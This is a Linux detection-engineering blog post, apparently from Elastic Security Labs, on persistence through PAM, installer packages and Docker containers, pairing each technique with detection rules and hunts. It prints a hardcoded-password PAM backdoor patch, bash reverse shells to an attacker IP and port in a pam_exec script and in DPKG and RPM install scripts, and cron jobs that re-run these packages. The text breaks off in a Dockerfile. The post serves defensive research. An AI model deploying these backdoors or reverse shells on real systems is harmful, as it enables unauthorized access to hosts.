_(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms","slug":"approaching-the-summit-on-persistence","date":"2025-02-11","description":"Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.","image":"Security Labs Images 32.jpg","body":{"raw":"\n# Introduction\n\nWelcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.\n\nIf you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:\n\n* [*Linux Detection Engineering - A Primer on Persistence Mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms) \n* [*Linux Detection Engineering - A Sequel on Persistence Mechanisms*](https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms) \n* [*Linux Detection Engineering - A Continuation on Persistence Mechanisms*](https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms)\n\nIn this publication, we’ll provide insights into:\n\n* How each works (theory) \n* How to set each up (practice) \n* How to detect them (SIEM and Endpoint rules) \n* How to hunt for them (ES|QL and OSQuery reference hunts)\n\nTo make the process even more engaging, we will be leveraging [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.\n\nBy the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let’s dive in\\!\n\n# Setup note\n\nTo ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to [enable and update our pre-built detection rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules). If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.\n\n# T1556.003 - Modify Authentication Process: Pluggable Authentication Modules\n\n[Pluggable Authentication Modules (PAM)](https://www.redhat.com/en/blog/pluggable-authentication-modules-pam) are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in `/etc/pam.d/`.\n\nPAM modules themselves are shared library files commonly stored in the following locations:\n\n* `/lib/security/` \n* `/lib64/security/` \n* `/lib/x86_64-linux-gnu/security/` \n* `/usr/lib/security/` \n* `/usr/lib64/security/` \n* `/usr/lib/x86_64-linux-gnu/security/`\n\nThese locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code.\n\nThis is a common technique, and some examples include the open-source [Medusa](https://github.com/ldpreload/Medusa) and [Azazel](https://github.com/chokepoint/azazel) rootkits, and by malwares such as [Ebury](https://attack.mitre.org/software/S0377/), and [Skidmap](https://unit42.paloaltonetworks.com/linux-pam-apis/) to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT\\\u0026CK tracks this technique under the identifier [T1556.003](https://attack.mitre.org/techniques/T1556/003/).\n\n## T1556.003 - Pluggable Authentication Modules: Malicious PAM\n\nMalicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access.\n\nCommonly, PAM backdoors will patch the `pam_unix_auth.c` file, which is part of the `pam_unix` module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the [linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) by [zephrax](https://github.com/zephrax). The typical code that is run to verify the password of a user requesting authentication, looks as follows:\n\n```c\n/* verify the password of this user */\nretval = _unix_verify_password(pamh, name, p, ctrl);\nname = p = NULL;\n```\n\nThe original code calls the `_unix_verify_password` function to validate the provided password (`p`) against the stored password for the user (`name`). The full source code is available [here](https://github.com/linux-pam/linux-pam/blob/fc927d8f1a6d81e5bcf58096871684b35b793fe2/modules/pam_unix/pam_unix_auth.c).\n\nA threat actor may patch this code, and introduce an additional check.\n\n```c\n/* verify the password of this user */if (strcmp(p, \"_PASSWORD_\") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }\n```\n\nThe code now checks:\n\n* If the provided password (`p`) is not equal to the string literal `\"_PASSWORD_\"`, it proceeds to call `_unix_verify_password` for standard password validation. \n* If the password is `\"_PASSWORD_\"`, it skips the password verification entirely and directly returns `PAM_SUCCESS`, indicating successful authentication.\n\nThe patch introduces a hardcoded backdoor password. Any user who enters the password `\"_PASSWORD_\"` will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account.\n\n### Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM\n\nWe will be leveraging the [setup\\_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the [linux-pam](https://github.com/linux-pam/linux-pam/releases) GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password:\n\n```\necho \"[+] Modifying PAM source...\"\nlocal target_file=\"$src_dir/modules/pam_unix/pam_unix_auth.c\"\nif grep -q \"retval = _unix_verify_password(pamh, name, p, ctrl);\" \"$target_file\"; then\n\tsed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\\\n\tif (p != NULL \u0026\u0026 strcmp(p, \"'$password'\") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' \"$target_file\"\n\techo \"[+] Source modified successfully.\"\nelse\n\techo \"[-] Target string not found in $target_file. Modification failed.\"\n\texit 1\nfi\n```\n\nAfter which we can compile the shared object, and move it to the correct PAM directory.\n\nNow let’s run the [setup\\_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module.\n\n```py\n\u003e sudo ./panix.sh --pam --module --password persistence\n\n[+] Determining PAM version... [+] Detected PAM Version: '1.3.1' [+] Downloading PAM source... [+] Download completed. Extracting... [+] Extraction completed. [+] Modifying PAM source... [+] Source modified successfully. [+] Compiling PAM source... [+] PAM compiled successfully. [+] Detecting PAM library directory...\n[+] Backing up original PAM library... [+] Copying PAM library to /lib/x86_64-linux-gnu/security... [+] Checking SELinux status... [+] Rogue PAM injected! \nYou can now login to any user (including root) with a login shell using your specified password.\nExample: su - user Example: ssh user@ip\n\n[+] PAM persistence established! \n```\n\nLet’s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom).\n\n\n\nUpon execution of PANIX, we can see `dpkg` being used to discover the running PAM version, followed by a `curl` execution to download the linux-pam source for this identified version. After extracting the `tar` archive, PANIX continues to modify the `pam_unix_auth.c` source code to implement the backdoor.\n\nOnce the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)):\n\n\n\nThe `pam_unix.so` file is compiled, and moved to the correct directory (in this case `/lib/x86_64-linux-gnu/security`), overwriting the existing `pam_unix.so` file and successfully activating the backdoor.\n\nLet's review the coverage:\n\n*Detection and endpoint rules that cover Malicious PAM persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [Creation or Modification of Pluggable Authentication Module or Configuration](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml) [Pluggable Authentication Module Creation in Unusual Directory](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation_in_unusual_dir.toml) [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Pluggable Authentication Module Version Discovery](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/discovery_pam_version_discovery.toml) [Pluggable Authentication Module Source Download](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_source_download.toml) |\n| Authentication | [Authentication via Unusual PAM Grantor](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_unusual_pam_grantor.toml) |\n\nTo revert any changes made to the system by PANIX, you can use the corresponding revert module by running:\n\n```\n\u003e ./panix.sh --revert pam\n\n[+] Searching for rogue PAM module\n[+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'.\n[+] Restarting SSH service...\n[+] SSH service restarted successfully.\n```\n\n### Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)\n\nOther than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “*Hunting for T1053 \\- scheduled task/job*” section of “[*Linux Detection Engineering \\- A primer on persistence mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)”. Additionally, descriptions and references can be found in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting).\n\nWe can hunt for PAM persistence through [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html), focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following:\n\n* **Creations and/or modifications to PAM configuration files:** Tracks changes to files in the `/etc/pam.d/` and `/lib/security/` directories and the `/etc/pam.conf` file, which are commonly targeted for PAM persistence.\n\nBy combining the [Persistence via Pluggable Authentication Modules](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1556.003](https://attack.mitre.org/techniques/T1556/003/).\n\n## T1556.003 - Pluggable Authentication Modules: pam\\_exec.so\n\nThe `pam_exec.so` module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate.\n\nTo understand how `pam_exec.so` can be configured, consider the following excerpt from `/etc/pam.d/common-auth`, a file that defines the authentication scheme for Linux systems:\n\n```py\n# /etc/pam.d/common-auth - authentication settings common to all services\n\n# Primary modules\nauth [success=1 default=ignore] pam_unix.so nullok_secure\n\n# Fallback if no module succeeds\nauth requisite pam_deny.so\n\n# Ensure a positive return value if none is set\nauth required pam_permit.so\n```\n\nThis file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance:\n\n* The `auth` keyword indicates that the module operates during the authentication phase. \n* Control flags, like `[success=1 default=ignore]`, specify how PAM interprets the module's result. For example, `success=1` skips the next module if the current one succeeds. \n* The `requisite` flag immediately denies authentication if the module fails: \n * `auth requisite pam_deny.so` \n* The `required` flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute: \n * `auth required pam_permit.so`\n\nModules such as `pam_unix.so` handle traditional UNIX authentication by validating user credentials against `/etc/shadow`. Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the [pam.d man page](https://linux.die.net/man/5/pam.d).\n\nOne way of abusing this mechanism is by leveraging the `pam_exec.so` module to execute an arbitrary script upon authentication through `/etc/pam.d/sshd`. By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. [Group-IB](https://www.group-ib.com/) wrote about this technique in a recent publication dubbed “[*The Duality of the Pluggable Authentication Module (PAM)*](https://www.group-ib.com/blog/pluggable-authentication-module/)”.\n\nA second method involves the modification of `/etc/pam.d/common-auth` for Debian-based systems or `/etc/pam.d/sshd` for Fedora-based systems to log user credentials. This technique was earlier discussed in [Wunderwuzzi’s blog](https://embracethered.com/blog/) called “[*Post Exploitation: Sniffing Logon Passwords with PAM*](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)”. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials.\n\nIn the next section we will take a look at how to implement arbitrary command execution through `pam_exec.so` using PANIX.\n\n### Persistence through T1556.003 - Pluggable Authentication Modules: pam\\_exec.so\n\nTo better understand the technique, we will take a look at the [setup\\_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) PANIX module. \n\n```\necho -e \"#!/bin/bash\\nnohup setsid /bin/bash -c '/bin/bash -i \u003e\u0026 /dev/tcp/$ip/$port 0\u003e\u00261' \u0026\" \u003e /bin/pam_exec_backdoor.sh\n\nchmod 700 /bin/pam_exec_backdoor.sh\n\npam_sshd_file=\"/etc/pam.d/sshd\"\npam_line=\"session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh\"\n```\n\nThe first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in `/bin/pam_exec_backdoor.sh` is in place, the `/etc/pam.d/sshd` file is modified. The `session` keyword ensures the script runs during user session setup or teardown, while `seteuid` ensures the script runs with the effective user ID (`eUID`) of the authenticated user instead of root.\n\nSince the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the [password-harvesting module](https://github.com/Aegrah/PANIX/blob/7a9cf39b35b40ee64bfe6b510f685003ebc043ae/modules/setup_pam.sh#L257) on your own\\!\n\nLet’s run the PANIX module with the following command line arguments:\n\n```\n\u003e sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015\n\n[+] Creating reverse shell script at /bin/pam_exec_backdoor.sh...\n[+] /bin/pam_exec_backdoor.sh created and permissions set to 700.\n[+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule...\n[+] PAM_EXEC rule added to /etc/pam.d/sshd.\n[+] Restarting SSH service to apply changes...\n[+] SSH service restarted successfully.\n[+] PAM_EXEC reverse shell backdoor planted!\n\nAuthenticate to trigger the reverse shell.\n\n[+] PAM persistence established!\n```\n\nAfter triggering the reverse shell by authentication, we can analyze the logs in Discover:\n\n\n\nAfter PANIX executes, it creates and grants execution permissions to the `/bin/pam_exec_backdoor.sh` backdoor. Next, the backdoor configuration is added to the `/etc/pam.d/sshd` file, and the `SSHD` service is restarted. Upon authentication, we can see the execution of the backdoor by the `SSHD` parent process, starting the reverse shell chain (`pam_exec_backdoor.sh` → `nohup` → `setsid` → `bash`). \n\nLet’s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively:\n\n*Detection and endpoint rules that cover pam\\_exec.so persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [Creation or Modification of Pluggable Authentication Module or Configuration](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml) [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Potential Backdoor Execution Through PAM\\_EXEC](https://github.com/elastic/protections-artifacts/blob/8a9e857453566068088f5a24cc1f39b839e60fe8/behavior/rules/linux/persistence_potential_backdoor_execution_through_pam_exec.toml) [Unusual SSHD Child Process](https://github.com/elastic/detection-rules/blob/e528feb989d8fc7f7ca8c4100c0bf5ca7b912a5d/rules/linux/persistence_unusual_sshd_child_process.toml) |\n\nTo revert any changes, you can use the corresponding revert module by running:\n\n```\n\u003e ./panix.sh --revert pam\n\n[+] Removing PAM_EXEC backdoor...\n[+] Removed '/bin/pam_exec_backdoor.sh'.\n[+] Removed PAM_EXEC line from '/etc/pam.d/sshd'.\n[+] Restarting SSH service...\n[+] SSH service restarted successfully.\n[-] PAM_EXEC line not found in '/etc/pam.d/common-auth'.\n```\n\n### Hunting for T1556.003 - Pluggable Authentication Modules: pam\\_exec.so\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following:\n\n* **Child processes spawned from SSH:** Tracks processes initiated via SSH sessions, as these may indicate the misuse of `pam_exec.so` for persistence. \n* **Creations and/or modifications to PAM configuration files:** Tracks changes to files in the `/etc/pam.d/` and `/lib/security/` directories and the `/etc/pam.conf` file, which are commonly targeted for PAM persistence.\n\nBy combining the [Persistence via Pluggable Authentication Modules](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1556.003](https://attack.mitre.org/techniques/T1556/003/).\n\n# T1546.016 - Event Triggered Execution: Installer Packages\n\nPackage managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier [T1546.016](https://attack.mitre.org/techniques/T1546/016/).\n\n## T1546.016 - Installer Packages: DPKG \u0026 RPM\n\nPopular managers include `DPKG` (Debian Package) for Debian-based distributions and `RPM` (Red Hat Package Manager) for Red Hat-based systems.\n\n**1. DPKG (Debian Package Manager)**\n\n`DPKG`, the Debian package manager, processes `.deb` packages and supports lifecycle scripts such as `preinst`, `postinst`, `prerm`, and `postrm`. These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this:\n\n```\nmalicious_package/├── DEBIAN/\n ├── control\n ├── postinst\n```\n\nWhere the post-installation script (`postinst`) runs immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code.\n\nUpon installation, the `DPKG` scripts (`preinst`, `postinst`, `prerm`, and `postrm`) will be stored in the `/var/lib/dpkg/info/` directory and executed. Package installation logs are stored in `/var/log/dpkg.log`, and record commands like `dpkg -i` and the package names.\n\n**2. RPM (Red Hat Package Manager)**\n\n`RPM`, the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes `.rpm` packages and supports script sections such as `%pre`, `%post`, `%preun`, and `%postun`, which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates.\n\nA typical malicious RPM package might include a `%post` script embedded directly in the package’s `spec` file. For example, a `%post` script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows:\n\n```\n~/rpmbuild/\n├── SPECS/\n│ ├── malicious_package.spec\n├── BUILD/\n├── RPMS/\n├── SOURCES/\n├── SRPMS/\n```\n\nUpon installation, `RPM` runs the `%post` script, allowing the attacker to execute the payload. The package manager logs installation activity in `/var/log/rpm.log`, which includes the names and timestamps of installed packages. Additionally, the built `RPM` package is stored in `/var/lib/rpm/`.\n\n### Persistence through T1546.016 - Installer Packages: DPKG \u0026 RPM\n\nPANIX can establish persistence through both `DPKG` and `RPM` within the [setup\\_malicious\\_package.sh](https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_package.sh) module. Starting with `DPKG`, the directory structure is created, the control file is written and the payload is added to the `postinst` file:\n\n```\n# DPKG package setup\nPACKAGE_NAME=\"panix\"\nPACKAGE_VERSION=\"1.0\"\nDEB_DIR=\"${PACKAGE_NAME}/DEBIAN\"\nPAYLOAD=\"#!/bin/sh\\nnohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/${ip}/${port} 0\u003e\u00261' \u0026\"\n\n# Create directory structure\nmkdir -p ${DEB_DIR}\n\n# Write postinst script\necho -e \"${PAYLOAD}\" \u003e ${DEB_DIR}/postinst\nchmod +x ${DEB_DIR}/postinst\n\n# Write control file\necho \"Package: ${PACKAGE_NAME}\" \u003e ${DEB_DIR}/control\necho \"Version: ${PACKAGE_VERSION}\" \u003e\u003e ${DEB_DIR}/control\necho \"Architecture: all\" \u003e\u003e ${DEB_DIR}/control\necho \"Maintainer: https://github.com/Aegrah/PANIX\" \u003e\u003e ${DEB_DIR}/control\necho \"Description: This malicious package was added through PANIX\" \u003e\u003e ${DEB_DIR}/control\n```\n\nAfterwards, all that is left is to build the package with `dpkg-deb` and install it through `dpkg`. \n\n```\n# Build the .deb package\ndpkg-deb --build ${PACKAGE_NAME}\n\n# Install the .deb package\ndpkg -i ${PACKAGE_NAME}.deb\n```\n\nUpon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages `Cron`:\n\n`echo \"*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure \u003e /dev/null 2\u003e\u00261\" | crontab -`\n\nTo forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let’s run the payload, and analyze the simulated events in Kibana:\n\n```\nsudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019\ndpkg-deb: building package 'panix' in 'panix.deb'.\nPreparing to unpack panix.deb ...\nUnpacking panix (1.0) over (1.0) ...\nSetting up panix (1.0) ...\nnohup: appending output to 'nohup.out'\n[+] Malicious package persistence established.\n```\n\nLooking at the events generated in Kibana, we can see the following sequence:\n\n \n\nPANIX is executed via `sudo`, after which the `postinst` and `control` files are created. The package is then built using `dpkg-deb`, and installed with `dpkg -i`. Here we can see the `/var/lib/dpkg/info/panix.postinst` executing the reverse shell execution chain (`nohup` → `setsid` → `bash`). After installation, the `crontab` is altered to establish persistence on a one-minute interval.\n\n**RPM**\n\nFor `RPM`, a similar flow as `DPKG` is leveraged. The package is set up using the correct `RPM` package structure, and the `%post` section is set to contain the payload that gets triggered after installation:\n\n```\n# RPM package setup\nPACKAGE_NAME=\"panix\"\nPACKAGE_VERSION=\"1.0\"\ncat \u003c\u003c-EOF \u003e ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec\nName: ${PACKAGE_NAME}\nVersion: ${PACKAGE_VERSION}\nRelease: 1%{?dist}\nSummary: RPM package with payload script\nLicense: MIT\n\n%description\nRPM package with a payload script that executes a reverse shell.\n\n%prep\n# No need to perform any preparation actions\n\n%install\n# Create directories\nmkdir -p %{buildroot}/usr/bin\n\n%files\n# No need to specify any files here since the payload is embedded\n\n%post\n# Trigger payload after installation\nnohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/${ip}/${port} 0\u003e\u00261' \u0026\n\n%clean\nrm -rf %{buildroot}\n\n%changelog\n* $(date +'%a %b %d %Y') John Doe \u003cjohn.doe@example.com\u003e 1.0-1\n- Initial package creation\n```\n\nNext, the `RPM` package is built using `rpmbuild`, and installed with `rpm`:\n\n```\n# Build RPM package\nrpmbuild -bb ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec\n\n# Install RPM package with forced overwrite\nVER=$(grep VERSION_ID /etc/os-release | cut -d '\"' -f 2 | cut -d '.' -f 1)\nrpm -i --force ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm\nmv ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm /var/lib/rpm/${PACKAGE_NAME}.rpm\n```\n\nUpon installation, the payload will be executed. Again, the following `Cron` job is created to ensure persistence on a one-minute interval:\n\n`echo \"*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm \u003e /dev/null 2\u003e\u00261\" | crontab`\n\nLet’s examine the traces that the `RPM` package technique leaves behind:\n\n\n\nUpon PANIX execution, the `panix.spec` file is created and populated. Next, `rpmbuild` is used to build the package, and `rpm -i` is executed to install the package. Upon installation, the `%post` payload is executed, leading to an execution of the reverse shell chain (`nohup` → `setsid` → `bash`) with a `process.parent.command_line` of `/bin/sh /var/tmp/rpm-tmp.HjtRV5 1`, indicating the execution of an `RPM` package. After installation, `Crontab` is altered to execute the payload once, at one minute intervals for consistency. \nLet’s take a look at the coverage:\n\n*Detection and endpoint rules that cover installer package (DPKG \u0026 RPM) persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| Process | [RPM Package Installed by Unusual Parent Process](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_rpm_package_installation_from_unusual_parent.toml) [Unusual DPKG Execution](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_unusual_execution.toml) [DPKG Package Installed by Unusual Parent Process](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_package_installation_from_unusual_parent.toml) |\n| Network | [Egress Network Connection from Default DPKG Directory](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_default_dpkg_directory.toml) [Egress Network Connection from RPM Package](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_rpm_package.toml) |\n\nYou can revert the changes made by PANIX by running the following revert command:\n\n```\n\u003e ./panix.sh --revert malicious-package\n\n[+] Reverting malicious package...\n[+] Removing DPKG package 'panix'...\n[+] DPKG package 'panix' removed successfully.\n[+] Removing cron job associated with 'panix'...\n[+] Cron job removed.\n[+] Cleaning up '/var/lib/dpkg/info'...\n[+] Cleanup completed.\n```\n\n### Hunting for T1546.016 - Installer Packages: DPKG \u0026 RPM\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following:\n\n* **File creation or modification in package management directories:** Tracks unusual changes to files in paths like `/var/lib/dpkg/info/` and `/var/lib/rpm/`, excluding common benign patterns such as checksum or list files. \n* **Processes executed from lifecycle scripts:** Observes commands and processes launched from directories like `/var/tmp/rpm-tmp.*` and `/var/lib/dpkg/info/`, which may indicate suspicious or unauthorized activity. \n* **Detailed metadata on modified files:** Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity.\n\nBy combining the [Persistence via DPKG/RPM Package](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_rpm_dpkg_installer_packages.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1546.016](https://attack.mitre.org/techniques/T1546/016/).\n\n# T1610 - Deploy Container\n\nHost escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier [T1610](https://attack.mitre.org/techniques/T1610/).\n\n## T1610 - Deploy Container: Malicious Docker Container\n\nDocker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways:\n\n**1. Manipulating a Running Container**\n\nAttackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include:\n\n* **Privileged Mode**: Containers running with `--privileged` can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices. \n* **Excessive Capabilities**: Containers with the `CAP_SYS_ADMIN` capability can perform privileged operations, such as mounting filesystems or accessing `/dev` devices. \n* **Sensitive Volume Access**: Volumes like `/var/run/docker.sock` allow attackers to issue Docker commands to the host. \n* **Host Namespace Access**: Containers configured with `--pid=host` or `--net=host` expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly.\n\n**2. Deploying a Malicious Container**\n\nAttackers deploy custom containers designed to break out of isolation. These containers often include:\n\n* Exploits targeting runtime vulnerabilities or kernel bugs. \n* Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons. \n* Malicious configurations enabling unauthorized access to host resources.\n\nIn the next section, we will take a look at an example of a malicious docker container implementation.\n\n### Persistence through T1610 \\- Deploy Container: Malicious Docker Container\n\nIn this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the [setup\\_malicious\\_docker\\_container.sh](https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_docker_container.sh) module, PANIX creates a Dockerfile with the following contents:\n\n```\nFROM alpine:latest\n\nRUN apk add --no-cache bash socat sudo util-linux procps\n\nRUN adduser -D lowprivuser\n\nRUN echo '#!/bin/bash' \u003e 